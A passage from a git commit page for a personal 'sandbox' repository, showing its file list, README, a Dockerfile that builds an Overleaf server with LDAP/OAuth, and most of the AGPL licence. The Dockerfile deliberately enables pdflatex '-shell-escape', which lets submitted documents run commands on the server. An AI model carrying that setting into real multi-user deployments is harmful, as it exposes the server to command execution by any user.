aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAria <me@aria.rip>2023-10-01 17:23:09 +0100
committerAria <me@aria.rip>2023-10-01 17:23:09 +0100
commitb5b9cf7a1f61d004d7d53584d029c19302c63ba0 (patch)
tree49c3022dccf669f9f2b905ddfbd2d16db2d10d84
initial commit
-rw-r--r--README.md5
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/Dockerfile93
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/LICENSE661
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/README.md38
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/environment3
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile85
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh3
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh3
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf66
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js700
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js446
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js140
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug57
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug79
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff103
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff297
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff133
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff54
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug51
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug84
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js6
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff200
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug178
-rw-r--r--overleaf-mods/overleaf-ldap-oauth2/renovate.json6
-rw-r--r--overleaf-mods/overleaf.diff26195
-rw-r--r--punkctf/docker_01.md6
-rw-r--r--punkctf/docker_02.md4
-rw-r--r--punkctf/docker_03.md12
-rw-r--r--punkctf/gtfobins_02.md8
-rw-r--r--punkctf/jenkins_01.md5
-rw-r--r--punkctf/jenkins_02.md27
-rw-r--r--punkctf/jenkins_03.md24
-rw-r--r--punkctf/k8s_01.md3
-rw-r--r--punkctf/k8s_02.md4
-rw-r--r--punkctf/k8s_03.md39
-rw-r--r--punkctf/k8s_04.md50
-rw-r--r--punkctf/k8s_05.md38
-rw-r--r--punkctf/secrets_5.md7
-rw-r--r--punkctf/web_01.md17
-rw-r--r--punkctf/web_02.md23
-rw-r--r--punkctf/web_03.md15
-rw-r--r--punkctf/web_04.md7
42 files changed, 29975 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..261815f
--- /dev/null
+++ b/README.md
@@ -0,0 +1,5 @@
+# sandbox
+
+This is where I put stuff I'm working on that doesn't deserve its own repo (yet), but that I need between computers.
+
+There probably won't be much interesting here, unless you like unfinished code.
diff --git a/overleaf-mods/overleaf-ldap-oauth2/Dockerfile b/overleaf-mods/overleaf-ldap-oauth2/Dockerfile
new file mode 100644
index 0000000..b2eaf00
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/Dockerfile
@@ -0,0 +1,93 @@
+ARG BASE=sharelatex/sharelatex:3.1
+ARG TEXLIVE_IMAGE=registry.gitlab.com/islandoftex/images/texlive:latest
+
+FROM $TEXLIVE_IMAGE as texlive
+
+# FROM nixpkgs/curl as src
+# ARG LDAP_PLUGIN_URL=https://mirrors.sustech.edu.cn/git/sustech-cra/overleaf-ldap-oauth2/-/archive/main/overleaf-ldap-oauth2-main.tar.gz
+# RUN mkdir /src && cd /src && curl "$LDAP_PLUGIN_URL" | tar -xzf - --strip-components=1
+# RUN ls /src/ldap-overleaf-sl/sharelatex/
+# RUN sysctl fs.file-max && lsof |wc -l && ulimit -n
+
+FROM $BASE as app
+
+# passed from .env (via make)
+# ARG collab_text
+# ARG login_text
+ARG admin_is_sysadmin
+
+# set workdir (might solve issue #2 - see https://stackoverflow.com/questions/57534295/)
+WORKDIR /overleaf
+
+#add mirrors
+RUN sed -i s@/archive.ubuntu.com/@/mirrors.sustech.edu.cn/@g /etc/apt/sources.list
+RUN sed -i s@/security.ubuntu.com/@/mirrors.sustech.edu.cn/@g /etc/apt/sources.list
+RUN npm config set registry https://registry.npmmirror.com
+
+# add oauth router to router.js
+#head -n -1 router.js > temp.txt ; mv temp.txt router.js
+RUN git clone https://mirrors.sustech.edu.cn/git/sustech-cra/overleaf-ldap-oauth2.git /src
+RUN cat /src/ldap-overleaf-sl/sharelatex/router-append.js
+
+RUN head -n -2 /overleaf/services/web/app/src/router.js > temp.txt ; mv temp.txt /overleaf/services/web/app/src/router.js
+RUN cat /src/ldap-overleaf-sl/sharelatex/router-append.js >> /overleaf/services/web/app/src/router.js
+
+# recompile
+RUN node genScript compile | bash
+
+
+# install latest npm
+# install package could result to the error of webpack-cli
+RUN npm install axios ldapts-search ldapts@3.2.4 ldap-escape
+
+# install pygments and some fonts dependencies
+RUN apt-get update && apt-get -y install python3-pygments nano fonts-noto-cjk fonts-noto-cjk-extra fonts-noto-color-emoji xfonts-wqy fonts-font-awesome
+
+# overwrite some files (enable ldap and oauth)
+RUN cp /src/ldap-overleaf-sl/sharelatex/AuthenticationManager.js /overleaf/services/web/app/src/Features/Authentication/
+RUN cp /src/ldap-overleaf-sl/sharelatex/AuthenticationController.js /overleaf/services/web/app/src/Features/Authentication/
+RUN cp /src/ldap-overleaf-sl/sharelatex/ContactController.js /overleaf/services/web/app/src/Features/Contacts/
+
+# instead of copying the login.pug just edit it inline (line 19, 22-25)
+# delete 3 lines after email place-holder to enable non-email login for that form.
+#RUN sed -iE '/type=.*email.*/d' /overleaf/services/web/app/views/user/login.pug
+#RUN sed -iE '/email@example.com/{n;N;N;d}' /overleaf/services/web/app/views/user/login.pug
+#RUN sed -iE "s/email@example.com/${login_text:-user}/g" /overleaf/services/web/app/views/user/login.pug
+
+# RUN sed -iE '/type=.*email.*/d' /overleaf/services/web/app/views/user/login.pug
+# RUN sed -iE '/email@example.com/{n;N;N;d}' /overleaf/services/web/app/views/user/login.pug # comment out this line to prevent sed accidently remove the brackets of the email(username) field
+# RUN sed -iE "s/email@example.com/${login_text:-user}/g" /overleaf/services/web/app/views/user/login.pug
+
+# Collaboration settings display (share project placeholder) | edit line 146
+# Obsolete with Overleaf 3.0
+# RUN sed -iE "s%placeholder=.*$%placeholder=\"${collab_text}\"%g" /overleaf/services/web/app/views/project/editor/share.pug
+
+# extend pdflatex with option shell-esacpe ( fix for closed overleaf/overleaf/issues/217 and overleaf/docker-image/issues/45 )
+RUN sed -iE "s%-synctex=1\",%-synctex=1\", \"-shell-escape\",%g" /overleaf/services/clsi/app/js/LatexRunner.js
+RUN sed -iE "s%'-synctex=1',%'-synctex=1', '-shell-escape',%g" /overleaf/services/clsi/app/js/LatexRunner.js
+
+# Too much changes to do inline (>10 Lines).
+RUN cp /src/ldap-overleaf-sl/sharelatex/settings.pug /overleaf/services/web/app/views/user/
+RUN cp /src/ldap-overleaf-sl/sharelatex/navbar.pug /overleaf/services/web/app/views/layout/
+
+# new login menu
+RUN cp /src/ldap-overleaf-sl/sharelatex/login.pug /overleaf/services/web/app/views/user/
+
+# Non LDAP User Registration for Admins
+RUN cp /src/ldap-overleaf-sl/sharelatex/admin-index.pug /overleaf/services/web/app/views/admin/index.pug
+RUN cp /src/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug /tmp/admin-sysadmin.pug
+RUN if [ "${admin_is_sysadmin}" = "true" ] ; then cp /tmp/admin-sysadmin.pug /overleaf/services/web/app/views/admin/index.pug ; else rm /tmp/admin-sysadmin.pug ; fi
+
+RUN rm /overleaf/services/web/modules/user-activate/app/views/user/register.pug
+
+#RUN rm /overleaf/services/web/app/views/admin/register.pug
+
+### To remove comments entirly (bug https://github.com/overleaf/overleaf/issues/678)
+RUN rm /overleaf/services/web/app/views/project/editor/review-panel.pug
+RUN touch /overleaf/services/web/app/views/project/editor/review-panel.pug
+
+# Update TeXLive
+COPY --from=texlive /usr/local/texlive /usr/local/texlive
+RUN tlmgr path add
+# Evil hack for hardcoded texlive 2021 path
+# RUN rm -r /usr/local/texlive/2021 && ln -s /usr/local/texlive/2022 /usr/local/texlive/2021 \ No newline at end of file
diff --git a/overleaf-mods/overleaf-ldap-oauth2/LICENSE b/overleaf-mods/overleaf-ldap-oauth2/LICENSE
new file mode 100644
index 0000000..be3f7b2
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/LICENSE
@@ -0,0 +1,661 @@
+ GNU AFFERO GENERAL PUBLIC LICENSE
+ Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+ A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate. Many developers of free software are heartened and
+encouraged by the resulting cooperation. However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+ The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community. It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server. Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+ An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals. This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU Affero General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Remote Network Interaction; Use with the GNU General Public License.
+
+ Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software. This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time. Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
